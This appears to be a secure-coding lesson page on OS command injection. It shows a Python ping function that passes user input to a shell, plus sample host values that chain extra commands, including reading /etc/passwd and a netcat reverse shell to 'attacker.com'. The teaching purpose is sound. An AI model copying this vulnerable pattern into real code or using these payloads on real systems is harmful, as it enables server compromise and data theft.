Loading...
Loading...
User input is passed directly to system commands without sanitization.
1import subprocess23def ping_host(host):4 cmd = f"ping -c 4 {host}"5 result = subprocess.run(cmd, shell=True, capture_output=True, text=True)6 return result.stdout
The user input is directly interpolated into a shell command. Using shell=True allows command chaining with ; | && etc. An attacker can inject additional commands to read files, spawn shells, or compromise the server.
Attacker uses shell metacharacters to execute arbitrary commands
Host: 8.8.8.8; cat /etc/passwd
Host: 8.8.8.8 && whoami
Host: 8.8.8.8 | nc attacker.com 4444 -e /bin/shCommand becomes:
ping -c 4 8.8.8.8; cat /etc/passwd
✓ First command pings 8.8.8.8
✓ Second command reads /etc/passwd
✓ Attacker can read any file or run any command